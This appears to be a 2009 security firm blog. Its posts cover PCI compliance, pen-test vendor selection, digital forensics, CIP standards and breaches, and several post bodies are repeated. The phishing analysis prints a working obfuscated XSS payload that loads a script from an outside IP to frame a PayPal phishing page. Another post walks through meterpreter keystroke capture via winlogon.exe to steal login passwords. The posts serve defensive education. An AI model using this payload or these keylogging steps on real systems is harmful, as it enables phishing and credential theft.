A PCI merchant is any businesses that accepts credit cards as a form of payment. A PCI service provider is any company that provides a service to merchants for any aspect for their PCI environment. For both Merchants and Service Providers it is important to understand the difference between attestation of compliance (attestation) and PCI DSS compliance (compliance).
The letter of attestation can be found at the following link: https://www.pcisecuritystandards.org/saq/index.shtml. Attestation is different from compliance... Most banks currently make a distinction between attestation and compliance and request validating documents separately. Attestation is in reference to the following sensitive data whether stored electronically or on paper: Full Magnetic Stripe Data, CAV2/CVC2/CVV2/CID, and PIN/PIN Block. All of that data must not be stored in any format after a credit card transaction has been authorized aka post-authorization. To fill out the attestation form, a company must have adequately identified where any CVV information is located. Data discoveries are a typical project that is associated with this step.
To reach compliance a company needs perform all twelve requirements listed in the latest version of the PCI DSS which can be found here: https://www.pcisecuritystandards.org/security_standards/pci_dss_download_agreement.html. The PCI DSS includes attestation requirements and many other information security practices. To validate compliance a company must submit a Self Assessment Questionnaire (SAQ) or conduct an audit, which results in an Report on Compliance (ROC).
Review this blog if there is still confusion about a bank's letter asking for attestation and compliance with different dates and forms.
Read more!
Tuesday, May 26, 2009
Friday, May 15, 2009
Security Assessments: Cheaper Not Always Better
In today's economy, money is obviously tight. As Ken pointed out in his blog post "Economy bad… breaches go up!", companies should be spending MORE money on assessments, not cutting back in the area. With that being said, here is some insight from a penetration tester who hacks daily on some of the things I've seen on the front lines...
So your company decides it is time to have a penetration test performed...whether it is an annual pen test, an RFP that was put out, or for some other reason, that reason for performing one may vary is outside the scope of this blog post. The number one factor for *many* people on anything is budget. Money makes this world go around. The root cause of cybercrime is money. Why do criminals steal SSN's and account numbers? To obtain money in the end. Since everyone seems to be short on budget these days, choosing the least expensive security assessor is not always the best way to go. In fact, the majority of the time I've seen it to turn out poorly much of the time. Of course, there are many things that factor into it. Some of these would be which assessors were considered for the work, how many there were in the running, etc.
To put things into perspective, here are some of things to consider when looking to have an information security assessment performed:
1. [insert large popular assessor name here] gives us a discount each year, and they told us we were good.
Does bigger always mean better? No. We can go back and look at several data breaches, especially those involving PCI data to see that large/well-known assessors had signed off on the companies that were broken into as being compliant despite not having fulfilled all of the requirements of the PCI DSS.
2. I used the local ISP, they are cheap and right here in my backyard.
That's great that they are local, but they are an ISP. They provide your Internet connection, and most likely don't specialize in security. At the end of the day, do you think they could tell you more about the latest attack trends out there or MPLS and OC45's?
3. We took the low bid on our RFP, and the assessor didn't break in for the internal penetration test...
This came from a multi-billion dollar company and the RFP included extensive internal penetration testing. If the penetration testing team does not break in on the internal network, their skills are quite questionable. The internal network is usually the squishy center of the network whereas the external facing portion is usually hardened. Unless it is a network with crazy security controls in place such as some government networks or other extremely confidential networks, there will be vulnerabilities present. The success rate of the assessor for breaking in might be a good thing to ask when shopping around.
4. For our last "penetration test", the vendor asked for a domain administrator account.
Are you kidding me?! Anyone can run nessus with credentials and reformat the report to look differently. A penetration test should be treated as if it were a real attack. What does this mean? This means that externally, the only information given should be the company or organization name. We can safely assume at the very least level that is what an attacker might have. For internal penetration tests, have the penetration testing team simply plug into the network and start from there. You shouldn't always have to give them an IP address, have them test out your NAC(network access control) perhaps, or even have them do a physical pen test to attempt to physically penentrate the building and do it all as if they are a true criminal targetting the organization. Whatever the scenario is, using a domain administrator account or any other credentialed automated scan is NOT a penetration test. A "vulnerability assessment" is running automated tools to identify vulnerabilities. When performing a penetration test, running such "noisy" tools will obviously get detected. A penetration test involves manual attacks targetting specific systems that in the end, will allow for unauthorized access. Don't get me wrong, automated vulnerability scanners are great for say, checking systems for the latest patches, but a vulnerability assessment does not equal a penetration test. I see this presented on many security assessors websites, and I am in disbelief every time. Be aware of what the security assessor is proposing in their statement of work.
There are tons of assessors out there. How do you know which are the best choice? Obviously price is a major factor, and when choosing, there are other things to consider too. What all does the vendor do? Do they perform penetration tests, sell products, do implementations, manage those solutions, and even support them? Can you trust them to not have a biased or swayed opinion or report if they have a financial interest in fixing what they found, selling you new products, as well as implementation and support of them? If the vendor conducting your testing does "everything" for you, the end all be all solution provider, they probably are not. Everyone says they can do everything, however it has been shown that once you "do everything", you become a generalist, and start to lack expertise in what you used to be good at. Ask for resumes or individual expertise for assessors that will be on the assessment team performing work for you. Someone who hacks all day every day versus your local ISP is going to be a no-brainer on what the outcome will be. Your local computer shop probably advertises building PC's, wireless networks, doing security, etc. Again, you may want to question any vendor that says they can do everything, and limit your selection to vendors that only do security assessments as their specialty.
Whether you choose SecureState or another security assessor for your assessments, remember that cheaper does not always mean better.
Read more!
So your company decides it is time to have a penetration test performed...whether it is an annual pen test, an RFP that was put out, or for some other reason, that reason for performing one may vary is outside the scope of this blog post. The number one factor for *many* people on anything is budget. Money makes this world go around. The root cause of cybercrime is money. Why do criminals steal SSN's and account numbers? To obtain money in the end. Since everyone seems to be short on budget these days, choosing the least expensive security assessor is not always the best way to go. In fact, the majority of the time I've seen it to turn out poorly much of the time. Of course, there are many things that factor into it. Some of these would be which assessors were considered for the work, how many there were in the running, etc.
To put things into perspective, here are some of things to consider when looking to have an information security assessment performed:
1. [insert large popular assessor name here] gives us a discount each year, and they told us we were good.
Does bigger always mean better? No. We can go back and look at several data breaches, especially those involving PCI data to see that large/well-known assessors had signed off on the companies that were broken into as being compliant despite not having fulfilled all of the requirements of the PCI DSS.
2. I used the local ISP, they are cheap and right here in my backyard.
That's great that they are local, but they are an ISP. They provide your Internet connection, and most likely don't specialize in security. At the end of the day, do you think they could tell you more about the latest attack trends out there or MPLS and OC45's?
3. We took the low bid on our RFP, and the assessor didn't break in for the internal penetration test...
This came from a multi-billion dollar company and the RFP included extensive internal penetration testing. If the penetration testing team does not break in on the internal network, their skills are quite questionable. The internal network is usually the squishy center of the network whereas the external facing portion is usually hardened. Unless it is a network with crazy security controls in place such as some government networks or other extremely confidential networks, there will be vulnerabilities present. The success rate of the assessor for breaking in might be a good thing to ask when shopping around.
4. For our last "penetration test", the vendor asked for a domain administrator account.
Are you kidding me?! Anyone can run nessus with credentials and reformat the report to look differently. A penetration test should be treated as if it were a real attack. What does this mean? This means that externally, the only information given should be the company or organization name. We can safely assume at the very least level that is what an attacker might have. For internal penetration tests, have the penetration testing team simply plug into the network and start from there. You shouldn't always have to give them an IP address, have them test out your NAC(network access control) perhaps, or even have them do a physical pen test to attempt to physically penentrate the building and do it all as if they are a true criminal targetting the organization. Whatever the scenario is, using a domain administrator account or any other credentialed automated scan is NOT a penetration test. A "vulnerability assessment" is running automated tools to identify vulnerabilities. When performing a penetration test, running such "noisy" tools will obviously get detected. A penetration test involves manual attacks targetting specific systems that in the end, will allow for unauthorized access. Don't get me wrong, automated vulnerability scanners are great for say, checking systems for the latest patches, but a vulnerability assessment does not equal a penetration test. I see this presented on many security assessors websites, and I am in disbelief every time. Be aware of what the security assessor is proposing in their statement of work.
There are tons of assessors out there. How do you know which are the best choice? Obviously price is a major factor, and when choosing, there are other things to consider too. What all does the vendor do? Do they perform penetration tests, sell products, do implementations, manage those solutions, and even support them? Can you trust them to not have a biased or swayed opinion or report if they have a financial interest in fixing what they found, selling you new products, as well as implementation and support of them? If the vendor conducting your testing does "everything" for you, the end all be all solution provider, they probably are not. Everyone says they can do everything, however it has been shown that once you "do everything", you become a generalist, and start to lack expertise in what you used to be good at. Ask for resumes or individual expertise for assessors that will be on the assessment team performing work for you. Someone who hacks all day every day versus your local ISP is going to be a no-brainer on what the outcome will be. Your local computer shop probably advertises building PC's, wireless networks, doing security, etc. Again, you may want to question any vendor that says they can do everything, and limit your selection to vendors that only do security assessments as their specialty.
Whether you choose SecureState or another security assessor for your assessments, remember that cheaper does not always mean better.
Read more!
Friday, May 8, 2009
Best Practice for Digital Forensics
We run into some very interesting situations with our clients. Sometimes you just can't make this stuff up. We've seen clients with former employees breaking back in to system to cause havoc to conducting covert data acquisition in the middle of the night of current employees suspected of wrongdoing. Often times companies are left to balance the need to get to information and gathering that information in a manner that doesn't trample all over the effectiveness of the data.
As an example, say you are laying off a key individual in your company and they have information on their laptop that you need. One approach would be just to have your technical support team come in and copy off the data via Windows copy or use Ghost to make a copy of hard drive. These two options will get the data copied, but at what cost?
Read more!
As an example, say you are laying off a key individual in your company and they have information on their laptop that you need. One approach would be just to have your technical support team come in and copy off the data via Windows copy or use Ghost to make a copy of hard drive. These two options will get the data copied, but at what cost?
- Will you have access to deleted data?
- What if the data collected reveals criminal behavior or behavior that warrants litigation - do you have the data collected in a manner that can be used in court?
- Have you taken the steps to be able to show a clear picture of what occured on the computer?
- Document everything.
- Never mishandle data. [case example]
- Never work on the original data.
- Never trust the custodian’s software/hardware.
- Maintain chain-of-custody throughout the process.
- Only use courtroom admissible and licensed tools. [see NIST CFTT]
- Be sure to be fully trained in the use of digital forensic tools.
- Don’t forget other devices such as PDAs, Blackberries, iPhones etc. [see Paraben]
- Use write-blocking hardware when doing physical acquisitions.
- Call an expert if you can't do any of the above!
Read more!
Thursday, April 9, 2009
24: Reality TV?
This following article was published in SecureState’s Winter Newsletter. With the recent story that broke regarding the international spies from Russia and China that hacked into the United States’ electrical grid (http://www.msnbc.msn.com/id/30107040/from/ET/), this story has become more relevant. It has been something that SecureState has been preaching for quite some time… CIP is not strong enough…
Fox’s TV series 24 could very well become reality TV!
Fox’s TV series 24 could very well become reality TV!
The reason is not that a simple device can be used to compromise our water, energy, transportation, etc. But because the Critical Infrastructure Protection (CIP) standard is not to the level it needs to be to protect our most critical infrastructure.
The biggest problem with the CIP standard is that it may not even be possible to be CIP compliant! The biggest issue that the North American Energy Reliability Corporation (NERC) has with its CIP standard is that it does not deal with the issue of legacy systems. For NERC itself, the problem is that it will not force vendors to upgrade their systems to become compliant.
“Until vendors are forced to upgrade their products, there is not going much in the way of actual security,” says Matt Davis, Principal of Audit & Compliance at SecureState. “100% of these EMS and GMS systems that CIP deals with were designed to do one thing… and that is work!”
These systems that do not have the option of being upgraded are then pushed aside and not tested, therefore becoming exceptions to the standard. How good can a standard be if it is not testing all systems critical to the standard?
During several CIP engagements, SecureState found that most of the systems that are in scope of CIP have never been tested to the level that they needed to be. Nor could they stand up to simple tests including vulnerability scans. In fact, CIP does not even require penetration testing!!! - A test that is required by most standards including PCI.
CIP Audits
All organizations connected to the nation’s energy grid are to begin reporting their compliance and activities this January, with audits beginning January 1, 2010.
The audits are to be performed by the seven regional NERC operators scattered throughout the country. This poses the question of how strict each individual operator will audit the organizations in their region. This could cause some heat if one group realizes they got dinged on something another organization with the same system got away with. And you can bet they are going to share and compare report cards.
“You have to wonder how much these operators are going to let slide during these audits. Is the fact that there are certain systems that cannot be upgraded going to make exception the rule? We will have to wait and see,” said Matt Davis, Partner at SecureState.
CIP Importance
The importance of the CIP Standard goes far beyond any other security regulation that there is currently in place. But CIP isn’t even as tough as PCI, for example. The net result is that there is better security in restaurants than what goes into the grid.
“PCI, SOX, GLBA, HIPAA… they all have their place in protecting the United States,” said SecureState Senior Consultant Jason Leuenberger. “But if the power goes out… those standards become obsolete!”
And the importance stretches beyond just losing a modern convenience. Because a failure in the country’s energy grid, means a weakness in the country’s security!
By Matt Franko
Read more!
Wednesday, March 25, 2009
Let's Get Ready to PCI Rumble!
I know this is going to sound kind of sad, but I am really excited to see what's going to happen with some of the latest PCI breaches and the organization's response. In the two the biggest, latest ones we see both Hannaford and Heartland stating their case that they were both PCI compliant. To the average person, the initial response is going to be something like, "Then the PCI DSS sucks!". However, a recent statement from a VISA exec was more along the lines of "We have yet to see a company that was breached that was compliant." So how do we judge this wrestling match?
First and foremost, we need to make a clear distinction about what it means to be PCI compliant. The position being taken by the the organizations above needs clarified. What they mean is that they had successfully completed their compliance validation activities. More specifically, that means they had their audit performed and submitted it along with the ASV scans. They met their due diligence obligation.
But now we need to reconcile that with the execs position. What he was talking about is more akin to PCI Safe Harbor. That states a company is 'safe' if they are fully compliant to the PCI DSS at the time of the breach and can be demonstrated during an audit with forensics. That, my friend, ain't easy. Compliance is something you will ultimately have to defend and is not the plaque or certificate on the wall for you did once a year.
So now we need to actually do some sort of prognostication here so you get my point. I don't have all the details for either breach, so I will make some assumptions. Let's assume both of them were breached due to malware on a system. I'll also assume they had anti-malware in place. What isn't an assumption is if it's possible to bypass malware. So I am going to assume is it did get bypassed. I am not sure if we'll know how the malware got there. Did that portion of PCI fail? Not at all. It's a good requirement and they did meet it. But PCI has many layers to it as all security programs should.
If I had to guess what will the final outcome is, it will be something like this. From what we know the big problem is that the data was breached i.e. it left their network. So just how did the data get into the hands of the the evildoers? I think that's the real question. Exactly what kind of firewall rules were in place that allowed the malware sniffers in place to send the traffic out of their network? Did the processor or the registers have direct access to the internet? I sure as heck hope not. If the attackers had some live connection into those systems, that's one thing. But I would suspect there is a lack of good egress filtering and not that the malware did some crazy cool method to bounce traffic out of their network. This kind of excessive egress would likely be caused by a lack of good process to reign in the poor rules adopted through "business justification". Personally, I think the business card trumps way too often as I have seen time and time again at clients.
So who is to blame here? I think an easy, but not necessarily correct, choice is the assessor. An auditor's job is to assure formalized, good processes and perform some testing as well. It may not be possible to audit every rule of every firewall. Even so, the auditor has to be pretty strong to push back when "business justification" has been established. It means possible rumbling with their client and their bank. But yes, the auditor may not have been thorough and some rubber stamping occurred here.
Well, only time will tell if I should quit security and become a psychic. Speaking of, my money is on the VISA exec to win the match. Even if I am wrong, there is some lessons learned here. In reality, there needs to be a strong, collaborative relationship between the auditor and the organization to both agree on a defensible position in gray or soft areas of the PCI DSS. I often say you need to imagine standing at the podium and feeling confident as you describe that position to reporters and the world. And never forget, compliance does not equal security. Business justification is not a loophole. Or if it is, a lot more can slip through that hole like malware and fines.
Read more!
First and foremost, we need to make a clear distinction about what it means to be PCI compliant. The position being taken by the the organizations above needs clarified. What they mean is that they had successfully completed their compliance validation activities. More specifically, that means they had their audit performed and submitted it along with the ASV scans. They met their due diligence obligation.
But now we need to reconcile that with the execs position. What he was talking about is more akin to PCI Safe Harbor. That states a company is 'safe' if they are fully compliant to the PCI DSS at the time of the breach and can be demonstrated during an audit with forensics. That, my friend, ain't easy. Compliance is something you will ultimately have to defend and is not the plaque or certificate on the wall for you did once a year.
So now we need to actually do some sort of prognostication here so you get my point. I don't have all the details for either breach, so I will make some assumptions. Let's assume both of them were breached due to malware on a system. I'll also assume they had anti-malware in place. What isn't an assumption is if it's possible to bypass malware. So I am going to assume is it did get bypassed. I am not sure if we'll know how the malware got there. Did that portion of PCI fail? Not at all. It's a good requirement and they did meet it. But PCI has many layers to it as all security programs should.
If I had to guess what will the final outcome is, it will be something like this. From what we know the big problem is that the data was breached i.e. it left their network. So just how did the data get into the hands of the the evildoers? I think that's the real question. Exactly what kind of firewall rules were in place that allowed the malware sniffers in place to send the traffic out of their network? Did the processor or the registers have direct access to the internet? I sure as heck hope not. If the attackers had some live connection into those systems, that's one thing. But I would suspect there is a lack of good egress filtering and not that the malware did some crazy cool method to bounce traffic out of their network. This kind of excessive egress would likely be caused by a lack of good process to reign in the poor rules adopted through "business justification". Personally, I think the business card trumps way too often as I have seen time and time again at clients.
So who is to blame here? I think an easy, but not necessarily correct, choice is the assessor. An auditor's job is to assure formalized, good processes and perform some testing as well. It may not be possible to audit every rule of every firewall. Even so, the auditor has to be pretty strong to push back when "business justification" has been established. It means possible rumbling with their client and their bank. But yes, the auditor may not have been thorough and some rubber stamping occurred here.
Well, only time will tell if I should quit security and become a psychic. Speaking of, my money is on the VISA exec to win the match. Even if I am wrong, there is some lessons learned here. In reality, there needs to be a strong, collaborative relationship between the auditor and the organization to both agree on a defensible position in gray or soft areas of the PCI DSS. I often say you need to imagine standing at the podium and feeling confident as you describe that position to reporters and the world. And never forget, compliance does not equal security. Business justification is not a loophole. Or if it is, a lot more can slip through that hole like malware and fines.
Read more!
Analysis of a Real World Phishing Scheme
I received a lot of positive feedback around my blog post “Analysis of a Real World Hacking Attempt” and decided that after a recent email attempting to direct me to a paypal phishing site, it again was time to give a little insight as to what the latest attempts on phishing schemes are out there...
The email that read something like this:
Information about your account:
Security Center
Attention! Your PayPal account was limited!
As part of our security measures, we regularly check the work of the screen PayPal. We have requested information from you for the following reason:
Our system has detected unusual charges to a credit card linked to your PayPal account.
Reference Number: PP-259-187-991
This is the last reminder to log into PayPal, as soon as possible. Once you connect. PayPal will provide measures to restore access to your account.
Once connected, follow the steps to activate your account. We appreciate your understanding as we work to ensure security.
Clik Here To Activate
We appreciate your attention to this issue. Please understand that this is a security measure designed to protect you and your account. We apologize for any inconvenience ..
Department review PayPal accounts
________________________________________
Copyright © 1999-2009 PayPal. All rights reserved.
PayPal FSA Register Number: 226056.
Yes, they actually misspelled “click” on the phishing link, as well as other typos such as a double period, etc.The link’s target location was:
https://secure.instantssl.com/products/passwordResetRequest? orderNumber="><image src="" onerror= "javascript:document.write(String.fromCharCode(60,83 ,67,82,73,80,84,32,83,82,67,61,34 ,104,116,116,112,58,47,47,57,54,46 ,57,46,50,52,46,49,51,48,47,120 ,115,115,49,46,106,112,103,34,62,60 ,47,83,67,82,73,80,84,62))" />
This is a textbook XSS flaw, easily seen by
https://secure.instantssl.com/products/passwordResetRequest?orderNumber= " > [XSS HERE]
If you look at http://96.9.24.130/xss1.jpg it is actually an html file, not a jpg image file.
Its contents are:
<html>
<body>
<img src="http://96.9.24.130/xss1.jpg" alt="http://96.9.24.130/xss1.jpg"/>
</body>
</html>
Firefox even treats it as an image providing right click options over it such as “copy image” and “copy image location”, despite it being a script target in an image tag.
Tricky...and if you save it locally and open it, you can see that the xss1.jpg’s contents is:
document.write("<iframe src='http://transgalaxyproducts.com/bbnse/webscr/webscr.php?cmd=_login-run' width='100%' height='100%' frameborder=0 scrolling=0></iframe>");
Then http://transgalaxyproducts.com/bbnse/webscr/webscr.php?cmd=_login-run is actually the location of the Paypal phishing site...
That was the story as of March 3rd...
Today, March 24th, the code for the xss1.jpg image has changed as seen below:
C:\>nc 96.9.24.130 80
GET /xss1.jpg HTTP/1.0
HTTP/1.1 200 OK
Date: Wed, 25 Mar 2009 00:58:00 GMT
Server: Apache/2.2.10 (Unix) mod_ssl/2.2.10 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_
auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Last-Modified: Sat, 07 Mar 2009 10:22:10 GMT
ETag: "6a00c7-8c-46484c62ad880"
Accept-Ranges: bytes
Content-Length: 140
Connection: close
Content-Type: image/jpeg
document.write("<iframe src='http://96.9.24.130/cls/ws-cgi/365236545.html' width
='100%' height='100%' frameborder=0 scrolling=0></iframe>");
C:\>
The page at http://96.9.24.130/cls/ws-cgi/365236545.html seems to be that of a Craigslist listing for a truck in Atlanta, but saved locally to the server. Odd, and I have no guesses as to why this would be there... your guess is as good as mine, but that’s the reality of the stuff that is going on and out there. Hopefully this gave a little insight as to some of the subtle tricks hackers are using to try to steal your information. The IP 96.9.24.130 is in a block owned by Register.com out of New York and has a HTTP banner of "Apache/2.2.10 (Unix) mod_ssl/2.2.10 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635".
Why there is a mirror of a Craiglist page is beyond me, but that’s where I’ll leave you to wonder on your own...
Read more!
Tuesday, March 24, 2009
Password Sniffing the Metasploit Way
H.D. Moore continues to kick some major bum with some of his recent updates to the Metasploit Framework. Most notably is the keystroke logger addition to the meterpreter console. For those of you not aware of what meterpreter is, it's a payload that gets delivered to the system somehow (i.e. buffer overflow, executable, etc.) and is really a swiss army knife for post-exploitation. With the latest svn update you can migrate to an already existing process like winlogon.exe and capture all keystrokes for individuals logging into a system. Pretty sweet stuff. I got to play with it this afternoon and its extremely simple, once in the meterpreter console do the following:
meterpreter> ps
Process list
=================
PID Name Path
--- ---- ----
401 winlogon.exe \??C:\WINNT\system32\winlogon.exe
meterpreter> migrate 401
[*] Migrating to 401...
[*] Migration completed successfully.
meterpreter> keyscan_start
Starting the keystroke sniffer...
**** A few minutes later after an admin logs in ****
meterpreter > keyscan_dump
Dumping captured keystrokes...
Administrator ohnoes1vebeenh4x0red!
I.e. the ohnoes = password.
Of course this isn't just limited to the winlogon.exe, you can nail explorer.exe and intercept keystrokes from already logged in users.
More great stuff from the Metasploit framework, enjoy!
Read more!
meterpreter> ps
Process list
=================
PID Name Path
--- ---- ----
401 winlogon.exe \??C:\WINNT\system32\winlogon.exe
meterpreter> migrate 401
[*] Migrating to 401...
[*] Migration completed successfully.
meterpreter> keyscan_start
Starting the keystroke sniffer...
**** A few minutes later after an admin logs in ****
meterpreter > keyscan_dump
Dumping captured keystrokes...
Administrator
I.e. the ohnoes = password.
Of course this isn't just limited to the winlogon.exe, you can nail explorer.exe and intercept keystrokes from already logged in users.
More great stuff from the Metasploit framework, enjoy!
Read more!
Subscribe to:
Posts (Atom)
Posts
